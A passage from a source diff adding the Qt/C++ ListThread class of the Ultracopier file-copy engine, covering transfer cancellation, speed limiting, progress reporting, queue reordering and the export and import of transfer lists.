+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("actionToDoListTransfer.size(): %1, actionToDoListInode: %2, actionToDoListInode_afterTheTransfer: %3").arg(actionToDoListTransfer.size()).arg(actionToDoListInode.size()).arg(actionToDoListInode_afterTheTransfer.size()));
+ if(actionToDoListTransfer.isEmpty() && actionToDoListInode.isEmpty() && actionToDoListInode_afterTheTransfer.isEmpty())
+ updateTheStatus();
+ return true;
+ }
+ int_for_internal_loop++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("skip transfer not found: %1").arg(id));
+ return false;
+}
+
+//executed in this thread
+void ListThread::cancel()
+{
+ if(stopIt)
+ {
+ waitCancel.release();
+ return;
+ }
+ stopIt=true;
+ int index=0;
+ int loop_size=transferThreadList.size();
+ while(index<loop_size)
+ {
+ transferThreadList.at(index)->stop();
+ index++;
+ }
+ index=0;
+ loop_size=scanFileOrFolderThreadsPool.size();
+ while(index<loop_size)
+ {
+ scanFileOrFolderThreadsPool.at(index)->stop();
+ delete scanFileOrFolderThreadsPool.at(index);//->deleteLayer();
+ scanFileOrFolderThreadsPool[index]=NULL;
+ index++;
+ }
+ scanFileOrFolderThreadsPool.clear();
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ if(clockForTheCopySpeed!=NULL)
+ {
+ clockForTheCopySpeed->stop();
+ delete clockForTheCopySpeed;
+ clockForTheCopySpeed=NULL;
+ }
+ #endif
+ checkIfReadyToCancel();
+}
+
+void ListThread::checkIfReadyToCancel()
+{
+ if(!stopIt)
+ return;
+ int index=0;
+ int loop_size=transferThreadList.size();
+ while(index<loop_size)
+ {
+ if(transferThreadList.at(index)!=NULL)
+ {
+ if(transferThreadList.at(index)->transferId!=0)
+ return;
+ delete transferThreadList.at(index);//->deleteLayer();
+ transferThreadList[index]=NULL;
+ transferThreadList.removeAt(index);
+ loop_size=transferThreadList.size();
+ index--;
+ }
+ index++;
+ }
+ actionToDoListTransfer.clear();
+ actionToDoListInode.clear();
+ actionToDoListInode_afterTheTransfer.clear();
+ actionDone.clear();
+ progressionList.clear();
+ returnListItemOfCopyListToCopyEngine.clear();
+ quit();
+ waitCancel.release();
+ emit canBeDeleted();
+}
+
+//speedLimitation in KB/s
+bool ListThread::setSpeedLimitation(const qint64 &speedLimitation)
+{
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("maxSpeed in KB/s: ")+QString::number(speedLimitation));
+
+ if(speedLimitation>1024*1024)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"speedLimitation out of range");
+ return false;
+ }
+ maxSpeed=speedLimitation;
+
+ multiForBigSpeed=0;
+ if(maxSpeed>0)
+ {
+ blockSizeAfterSpeedLimitation=blockSize;
+
+ //try resolv the interval
+ int newInterval;//in ms
+ do
+ {
+ multiForBigSpeed++;
+ //at max speed, is out of range for int, it's why quint64 is used
+ newInterval=(((quint64)blockSize*(quint64)multiForBigSpeed*1000/* *1000 because interval is into ms, not s*/)/((quint64)maxSpeed*(quint64)1024));
+ if(newInterval<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"calculated newInterval wrong");
+ return false;
+ }
+ }
+ while(newInterval<ULTRACOPIER_PLUGIN_MINTIMERINTERVAL);
+
+ if(newInterval<=0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"calculated newInterval wrong");
+ return false;
+ }
+ //wait time too big, then shrink the block size and set interval to max size
+ if(newInterval>ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"wait time too big, then shrink the block size and set interval to max size");
+ newInterval=ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL;
+ multiForBigSpeed=1;
+ blockSizeAfterSpeedLimitation=(this->maxSpeed*1024*newInterval)/1000;
+
+ if(blockSizeAfterSpeedLimitation<10)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"calculated block size wrong");
+ return false;
+ }
+
+ //set the new block size into the thread
+ const int &loop_size=transferThreadList.size();
+ int int_for_loop=0;
+ while(int_for_loop<loop_size)
+ {
+ if(!transferThreadList.at(int_for_loop)->setBlockSize(blockSizeAfterSpeedLimitation))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to set the block size");
+ int_for_loop++;
+ }
+ }
+
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("fixed speed with new block size and new interval in BlockSize: %1, multiForBigSpeed: %2, newInterval: %3, maxSpeed: %4")
+ .arg(blockSizeAfterSpeedLimitation)
+ .arg(multiForBigSpeed)
+ .arg(newInterval)
+ .arg(maxSpeed)
+ );
+
+ clockForTheCopySpeed->setInterval(newInterval);
+ if(clockForTheCopySpeed!=NULL)
+ clockForTheCopySpeed->start();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"clockForTheCopySpeed == NULL at this point");
+ }
+ else
+ {
+ if(clockForTheCopySpeed!=NULL)
+ clockForTheCopySpeed->stop();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"clockForTheCopySpeed == NULL at this point");
+ int int_for_loop=0;
+ const int &loop_size=transferThreadList.size();
+ while(int_for_loop<loop_size)
+ {
+ transferThreadList.at(int_for_loop)->setBlockSize(blockSize);
+ int_for_loop++;
+ }
+ }
+ int int_for_loop=0;
+ const int &loop_size=transferThreadList.size();
+ while(int_for_loop<loop_size)
+ {
+ transferThreadList.at(int_for_loop)->setMultiForBigSpeed(multiForBigSpeed);
+ int_for_loop++;
+ }
+
+ return true;
+ #else
+ Q_UNUSED(speedLimitation);
+ return false;
+ #endif
+}
+
+void ListThread::updateTheStatus()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ sendActionDone();
+ bool updateTheStatus_listing=scanFileOrFolderThreadsPool.size()>0;
+ bool updateTheStatus_copying=actionToDoListTransfer.size()>0 || actionToDoListInode.size()>0 || actionToDoListInode_afterTheTransfer.size()>0;
+ Ultracopier::EngineActionInProgress updateTheStatus_action_in_progress;
+ if(updateTheStatus_copying && updateTheStatus_listing)
+ updateTheStatus_action_in_progress=Ultracopier::CopyingAndListing;
+ else if(updateTheStatus_listing)
+ updateTheStatus_action_in_progress=Ultracopier::Listing;
+ else if(updateTheStatus_copying)
+ updateTheStatus_action_in_progress=Ultracopier::Copying;
+ else
+ updateTheStatus_action_in_progress=Ultracopier::Idle;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("emit actionInProgess(")+QString::number(updateTheStatus_action_in_progress)+QStringLiteral(")"));
+ emit actionInProgess(updateTheStatus_action_in_progress);
+}
+
+//set data local to the thread
+void ListThread::setAlwaysFileExistsAction(const FileExistsAction &alwaysDoThisActionForFileExists)
+{
+ this->alwaysDoThisActionForFileExists=alwaysDoThisActionForFileExists;
+ int int_for_loop=0;
+ const int &loop_size=transferThreadList.size();
+ while(int_for_loop<loop_size)
+ {
+ transferThreadList.at(int_for_loop)->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
+ int_for_loop++;
+ }
+}
+
+//mk path to do
+quint64 ListThread::addToMkPath(const QFileInfo& source,const QFileInfo& destination, const int& inode)
+{
+ if(stopIt)
+ return 0;
+ if(inode!=0 && (!keepDate && !doRightTransfer))
+ return 0;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1, destination: %2").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()));
+ ActionToDoInode temp;
+ temp.type = ActionType_MkPath;
+ temp.id = generateIdNumber();
+ temp.source = source;
+ temp.destination= destination;
+ temp.isRunning = false;
+ actionToDoListInode << temp;
+ return temp.id;
+}
+
+//add rm path to do
+void ListThread::addToMovePath(const QFileInfo& source, const QFileInfo &destination, const int& inodeToRemove)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1, destination: %2, inodeToRemove: %3").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()).arg(inodeToRemove));
+ ActionToDoInode temp;
+ temp.type = ActionType_MovePath;
+ temp.id = generateIdNumber();
+ temp.size = inodeToRemove;
+ temp.source = source;
+ temp.destination= destination;
+ temp.isRunning = false;
+ actionToDoListInode << temp;
+}
+
+void ListThread::addToRealMove(const QFileInfo& source,const QFileInfo& destination)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1, destination: %2").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()));
+ ActionToDoInode temp;
+ temp.type = ActionType_RealMove;
+ temp.id = generateIdNumber();
+ temp.size = 0;
+ temp.source = source;
+ temp.destination= destination;
+ temp.isRunning = false;
+ actionToDoListInode << temp;
+}
+
+#ifdef ULTRACOPIER_PLUGIN_RSYNC
+//rsync rm
+void ListThread::addToRmForRsync(const QFileInfo& destination)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"inode: "+destination.absoluteFilePath());
+ ActionToDoInode temp;
+ temp.type = ActionType_RmSync;
+ temp.id = generateIdNumber();
+ temp.destination= destination;
+ temp.isRunning = false;
+ actionToDoListInode << temp;
+}
+#endif
+
+//send action done
+void ListThread::sendActionDone()
+{
+ if(!actionDone.isEmpty())
+ {
+ emit newActionOnList(actionDone);
+ actionDone.clear();
+ }
+ if(!timeToTransfer.isEmpty())
+ {
+ emit doneTime(timeToTransfer);
+ timeToTransfer.clear();
+ }
+}
+
+//send progression
+void ListThread::sendProgression()
+{
+ if(actionToDoListTransfer.isEmpty())
+ return;
+ oversize=0;
+ currentProgression=0;
+ int int_for_loop=0;
+ const int &loop_size=transferThreadList.size();
+ while(int_for_loop<loop_size)
+ {
+ TransferThread * temp_transfer_thread=transferThreadList.at(int_for_loop);
+ switch(temp_transfer_thread->getStat())
+ {
+ case TransferStat_Transfer:
+ case TransferStat_PostTransfer:
+ case TransferStat_Checksum:
+ case TransferStat_PostOperation:
+ {
+ copiedSize=temp_transfer_thread->copiedSize();
+
+ //for the general progression
+ currentProgression+=copiedSize;
+
+ //the oversize (when the file is bigger after/during the copy then what was during the listing)
+ if(copiedSize>(qint64)temp_transfer_thread->transferSize)
+ localOverSize=copiedSize-temp_transfer_thread->transferSize;
+ else
+ localOverSize=0;
+
+ //the current size copied
+ totalSize=temp_transfer_thread->transferSize+localOverSize;
+ QPair<quint64,quint64> progression=temp_transfer_thread->progression();
+ tempItem.currentRead=progression.first;
+ tempItem.currentWrite=progression.second;
+ tempItem.id=temp_transfer_thread->transferId;
+ tempItem.total=totalSize;
+ progressionList << tempItem;
+
+ //add the oversize to the general progression
+ oversize+=localOverSize;
+ }
+ break;
+ default:
+ break;
+ }
+ int_for_loop++;
+ }
+ emit pushFileProgression(progressionList);
+ progressionList.clear();
+ emit pushGeneralProgression(bytesTransfered+currentProgression,bytesToTransfer+oversize);
+ realByteTransfered();
+}
+
+//send the progression, after full reset of the interface (then all is empty)
+void ListThread::syncTransferList_internal()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit syncReady();
+ actionDone.clear();
+ //do list operation
+ TransferThread *transferThread;
+ const int &loop_size=actionToDoListTransfer.size();
+ int loop_sub_size=transferThreadList.size();
+ //this loop to have at max inodeThreads*inodeThreads, not inodeThreads*transferThreadList.size()
+ int int_for_internal_loop;
+ for(int int_for_loop=0; int_for_loop<loop_size; ++int_for_loop) {
+ const ActionToDoTransfer &item=actionToDoListTransfer.at(int_for_loop);
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type = Ultracopier::PreOperation;
+ newAction.addAction.id = item.id;
+ newAction.addAction.sourceFullPath = item.source.absoluteFilePath();
+ newAction.addAction.sourceFileName = item.source.fileName();
+ newAction.addAction.destinationFullPath = item.destination.absoluteFilePath();
+ newAction.addAction.destinationFileName = item.destination.fileName();
+ newAction.addAction.size = item.size;
+ newAction.addAction.mode = item.mode;
+ actionDone << newAction;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, size: %2, name: %3, size2: %4").arg(item.id).arg(item.size).arg(item.source.absoluteFilePath()).arg(newAction.addAction.size));
+ if(item.isRunning)
+ {
+ for(int_for_internal_loop=0; int_for_internal_loop<loop_sub_size; ++int_for_internal_loop) {
+ transferThread=transferThreadList.at(int_for_internal_loop);
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type = Ultracopier::PreOperation;
+ newAction.addAction.id = item.id;
+ newAction.addAction.sourceFullPath = item.source.absoluteFilePath();
+ newAction.addAction.sourceFileName = item.source.fileName();
+ newAction.addAction.destinationFullPath = item.destination.absoluteFilePath();
+ newAction.addAction.destinationFileName = item.destination.fileName();
+ newAction.addAction.size = item.size;
+ newAction.addAction.mode = item.mode;
+ actionDone << newAction;
+ if(transferThread->getStat()!=TransferStat_PreOperation)
+ {
+ Ultracopier::ReturnActionOnCopyList newAction;
+ switch(transferThread->getStat())
+ {
+ case TransferStat_Transfer:
+ newAction.type=Ultracopier::Transfer;
+ break;
+ /*case TransferStat_PostTransfer:
+ newAction.type=Ultracopier::PostOperation;
+ break;*/
+ case TransferStat_PostOperation:
+ newAction.type=Ultracopier::PostOperation;
+ break;
+ default:
+ break;
+ }
+ newAction.addAction.id = item.id;
+ actionDone << newAction;
+ }
+ }
+ }
+ }
+}
+
+//add file transfer to do
+quint64 ListThread::addToTransfer(const QFileInfo& source,const QFileInfo& destination,const Ultracopier::CopyMode& mode)
+{
+ if(stopIt)
+ return 0;
+ //add to transfer list
+ numberOfTransferIntoToDoList++;
+ quint64 size=0;
+ if(!source.isSymLink())
+ size=source.size();
+ const QString &drive=driveManagement.getDrive(destination.absoluteFilePath());
+ if(drive.isEmpty())
+ abort();
+ if(mode!=Ultracopier::Move || drive!=driveManagement.getDrive(source.absoluteFilePath()))
+ {
+ if(requiredSpace.contains(drive))
+ {
+ requiredSpace[drive]+=size;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("space needed add: %1, space needed: %2, on: %3").arg(size).arg(requiredSpace.value(drive)).arg(drive));
+ }
+ else
+ {
+ requiredSpace[drive]=size;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("set space %1 needed, on: %2").arg(size).arg(drive));
+ }
+ }
+ bytesToTransfer+= size;
+ ActionToDoTransfer temp;
+ temp.id = generateIdNumber();
+ temp.size = size;
+ temp.source = source;
+ temp.destination= destination;
+ temp.mode = mode;
+ temp.isRunning = false;
+ actionToDoListTransfer << temp;
+ //push the new transfer to interface
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type = Ultracopier::AddingItem;
+ newAction.addAction=actionToDoTransferToItemOfCopyList(temp);
+ actionDone << newAction;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1, destination: %2, add entry: %3, size: %4, size2: %5, isSymLink: %6").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()).arg(temp.id).arg(temp.size).arg(size).arg(source.isSymLink()));
+ return temp.id;
+}
+
+Ultracopier::ItemOfCopyList ListThread::actionToDoTransferToItemOfCopyList(const ListThread::ActionToDoTransfer &actionToDoTransfer)
+{
+ Ultracopier::ItemOfCopyList itemOfCopyList;
+ itemOfCopyList.id = actionToDoTransfer.id;
+ itemOfCopyList.sourceFullPath = actionToDoTransfer.source.absoluteFilePath();
+ itemOfCopyList.sourceFileName = actionToDoTransfer.source.fileName();
+ itemOfCopyList.destinationFullPath = actionToDoTransfer.destination.absoluteFilePath();
+ itemOfCopyList.destinationFileName = actionToDoTransfer.destination.fileName();
+ itemOfCopyList.size = actionToDoTransfer.size;
+ itemOfCopyList.mode = actionToDoTransfer.mode;
+ return itemOfCopyList;
+}
+
+//generate id number
+quint64 ListThread::generateIdNumber()
+{
+ idIncrementNumber++;
+ if(idIncrementNumber>(((quint64)1024*1024)*1024*1024*2))
+ idIncrementNumber=0;
+ return idIncrementNumber;
+}
+
+//warning the first entry is accessible will copy
+void ListThread::removeItems(const QList<int> &ids)
+{
+ for(int i=0;i<ids.size();i++)
+ skipInternal(ids.at(i));
+}
+
+//put on top
+void ListThread::moveItemsOnTop(QList<int> ids)
+{
+ if(actionToDoListTransfer.size()<=1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"list size is empty");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ //do list operation
+ int indexToMove=0;
+ const int &loop_size=actionToDoListTransfer.size();
+ for (int i=0; i<loop_size; ++i) {
+ if(ids.contains(actionToDoListTransfer.at(i).id))
+ {
+ ids.removeOne(actionToDoListTransfer.at(i).id);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("move item ")+QString::number(i)+QStringLiteral(" to ")+QString::number(indexToMove));
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type=Ultracopier::MoveItem;
+ newAction.addAction.id=actionToDoListTransfer.at(i).id;
+ newAction.userAction.moveAt=indexToMove;
+ newAction.userAction.position=i;
+ actionDone << newAction;
+ actionToDoListTransfer.move(i,indexToMove);
+ indexToMove++;
+ if(ids.isEmpty())
+ return;
+ }
+ }
+ sendActionDone();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+//move up
+void ListThread::moveItemsUp(QList<int> ids)
+{
+ if(actionToDoListTransfer.size()<=1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"list size is empty");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ //do list operation
+ int lastGoodPositionReal=0;
+ bool haveGoodPosition=false;
+ const int &loop_size=actionToDoListTransfer.size();
+ for (int i=0; i<loop_size; ++i) {
+ if(ids.contains(actionToDoListTransfer.at(i).id))
+ {
+ if(haveGoodPosition)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("move item ")+QString::number(i)+QStringLiteral(" to ")+QString::number(i-1));
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type=Ultracopier::MoveItem;
+ newAction.addAction.id=actionToDoListTransfer.at(i).id;
+ newAction.userAction.moveAt=lastGoodPositionReal;
+ newAction.userAction.position=i;
+ actionDone << newAction;
+ actionToDoListTransfer.swap(i,lastGoodPositionReal);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Try move up false, item ")+QString::number(i));
+ ids.removeOne(actionToDoListTransfer.at(i).id);
+ if(ids.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop with return");
+ return;
+ }
+ }
+ else
+ {
+ lastGoodPositionReal=i;
+ haveGoodPosition=true;
+ }
+ }
+ sendActionDone();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+//move down
+void ListThread::moveItemsDown(QList<int> ids)
+{
+ if(actionToDoListTransfer.size()<=1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"list size is empty");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ //do list operation
+ int lastGoodPositionReal=0;
+ bool haveGoodPosition=false;
+ for (int i=actionToDoListTransfer.size()-1; i>=0; --i) {
+ if(ids.contains(actionToDoListTransfer.at(i).id))
+ {
+ if(haveGoodPosition)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("move item ")+QString::number(i)+QStringLiteral(" to ")+QString::number(i+1));
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type=Ultracopier::MoveItem;
+ newAction.addAction.id=actionToDoListTransfer.at(i).id;
+ newAction.userAction.moveAt=lastGoodPositionReal;
+ newAction.userAction.position=i;
+ actionDone << newAction;
+ actionToDoListTransfer.swap(i,lastGoodPositionReal);
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Try move up false, item ")+QString::number(i));
+ }
+ ids.removeOne(actionToDoListTransfer.at(i).id);
+ if(ids.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop with return");
+ return;
+ }
+ }
+ else
+ {
+ lastGoodPositionReal=i;
+ haveGoodPosition=true;
+ }
+ }
+ sendActionDone();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+//put on bottom
+void ListThread::moveItemsOnBottom(QList<int> ids)
+{
+ if(actionToDoListTransfer.size()<=1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"list size is empty");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ //do list operation
+ int lastGoodPositionReal=actionToDoListTransfer.size()-1;
+ for (int i=lastGoodPositionReal; i>=0; --i) {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Check action on item ")+QString::number(i));
+ if(ids.contains(actionToDoListTransfer.at(i).id))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("move item ")+QString::number(i)+QStringLiteral(" to ")+QString::number(lastGoodPositionReal));
+ ids.removeOne(actionToDoListTransfer.at(i).id);
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type=Ultracopier::MoveItem;
+ newAction.addAction.id=actionToDoListTransfer.at(i).id;
+ newAction.userAction.moveAt=lastGoodPositionReal;
+ newAction.userAction.position=i;
+ actionDone << newAction;
+ actionToDoListTransfer.move(i,lastGoodPositionReal);
+ lastGoodPositionReal--;
+ if(ids.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop with return");
+ return;
+ }
+ }
+ }
+ sendActionDone();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+/** \brief give the forced mode, to export/import transfer list */
+void ListThread::forceMode(const Ultracopier::CopyMode &mode)
+{
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ if(mode==Ultracopier::Move)
+ setRsync(false);
+ #endif
+ if(mode==Ultracopier::Copy)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Force mode to copy"));
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Force mode to move"));
+ this->mode=mode;
+ forcedMode=true;
+}
+
+void ListThread::exportTransferList(const QString &fileName)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QFile transferFile(fileName);
+ if(transferFile.open(QIODevice::WriteOnly|QIODevice::Truncate))
+ {
+ transferFile.write(QStringLiteral("Ultracopier;Transfer-list;").toUtf8());
+ if(!forcedMode)
+ transferFile.write(QStringLiteral("Transfer;").toUtf8());
+ else
+ {
+ if(mode==Ultracopier::Copy)
+ transferFile.write(QStringLiteral("Copy;").toUtf8());
+ else
+ transferFile.write(QStringLiteral("Move;").toUtf8());
+ }
+ transferFile.write(QStringLiteral("Ultracopier\n").toUtf8());
+ bool haveError=false;
+ int size=actionToDoListTransfer.size();
+ for (int index=0;index<size;++index) {
+ if(actionToDoListTransfer.at(index).mode==Ultracopier::Copy)
+ {
+ if(!forcedMode || mode==Ultracopier::Copy)
+ {
+ if(forcedMode)
+ transferFile.write(QStringLiteral("%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
+ else
+ transferFile.write(QStringLiteral("Copy;%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
+ }
+ else
+ haveError=true;
+ }
+ else if(actionToDoListTransfer.at(index).mode==Ultracopier::Move)
+ {
+ if(!forcedMode || mode==Ultracopier::Move)
+ {
+ if(forcedMode)
+ transferFile.write(QStringLiteral("%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
+ else
+ transferFile.write(QStringLiteral("Move;%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
+ }
+ else
+ haveError=true;
+ }
+ }
+ if(haveError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable do to move or copy item into wrong forced mode: %1").arg(transferFile.errorString()));
+ emit errorTransferList(tr("Unable do to move or copy item into wrong forced mode: %1").arg(transferFile.errorString()));
+ }
+ transferFile.close();
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable to save the transfer list: %1").arg(transferFile.errorString()));
+ emit errorTransferList(tr("Unable to save the transfer list: %1").arg(transferFile.errorString()));
+ return;
+ }
+}
+
+void ListThread::importTransferList(const QString &fileName)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QFile transferFile(fileName);
+ if(transferFile.open(QIODevice::ReadOnly))
+ {
+ QString content;
+ QByteArray data=transferFile.readLine(64);
+ if(data.size()<=0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Problem reading file, or file-size is 0"));
+ emit errorTransferList(tr("Problem reading file, or file-size is 0"));
+ return;
+ }
+ content=QString::fromUtf8(data);
+ if(content!="Ultracopier;Transfer-list;Transfer;Ultracopier\n" && content!="Ultracopier;Transfer-list;Copy;Ultracopier\n" && content!="Ultracopier;Transfer-list;Move;Ultracopier\n")
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Wrong header: \"%1\"").arg(content));
+ emit errorTransferList(tr("Wrong header: \"%1\"").arg(content));
+ return;
+ }
+ bool transferListMixedMode=false;
+ if(content=="Ultracopier;Transfer-list;Transfer;Ultracopier\n")
+ {
+ if(forcedMode)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("The transfer list is in mixed mode, but this instance is not"));
+ emit errorTransferList(tr("The transfer list is in mixed mode, but this instance is not in this mode"));
+ return;
+ }
+ else
+ transferListMixedMode=true;
+ }
+ if(content=="Ultracopier;Transfer-list;Copy;Ultracopier\n" && (forcedMode && mode==Ultracopier::Move))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("The transfer list is in copy mode, but this instance is not: forcedMode: %1, mode: %2").arg(forcedMode).arg(mode));
+ emit errorTransferList(tr("The transfer list is in copy mode, but this instance is not in this mode"));
+ return;
+ }
+ if(content=="Ultracopier;Transfer-list;Move;Ultracopier\n" && (forcedMode && mode==Ultracopier::Copy))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("The transfer list is in move mode, but this instance is not: forcedMode: %1, mode: %2").arg(forcedMode).arg(mode));
+ emit errorTransferList(tr("The transfer list is in move mode, but this instance is not in this mode"));
+ return;
+ }
+
+ bool updateTheStatus_copying=actionToDoListTransfer.size()>0 || actionToDoListInode.size()>0 || actionToDoListInode_afterTheTransfer.size()>0;
+ Ultracopier::EngineActionInProgress updateTheStatus_action_in_progress;
+ if(updateTheStatus_copying)
+ updateTheStatus_action_in_progress=Ultracopier::CopyingAndListing;
+ else
+ updateTheStatus_action_in_progress=Ultracopier::Listing;
+ emit actionInProgess(updateTheStatus_action_in_progress);
+
+ bool errorFound=false;
+ QRegularExpression correctLine;
+ if(transferListMixedMode)
+ correctLine=QRegularExpression(QStringLiteral("^(Copy|Move);[^;]+;[^;]+[\n\r]*$"));
+ else
+ correctLine=QRegularExpression(QStringLiteral("^[^;]+;[^;]+[\n\r]*$"));
+ QStringList args;
+ Ultracopier::CopyMode tempMode;
+ do
+ {
+ data=transferFile.readLine(65535*2);
+ if(data.size()>0)
+ {
+ content=QString::fromUtf8(data);
+ //do the import here
+ if(content.contains(correctLine))
+ {
+ content.remove(QStringLiteral("\n"));
+ args=content.split(QStringLiteral(";"));
+ if(forcedMode)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("New data to import in forced mode: %2,%3").arg(args.at(0)).arg(args.at(1)));
+ addToTransfer(QFileInfo(args.at(0)),QFileInfo(args.at(1)),mode);
+ }
+ else
+ {
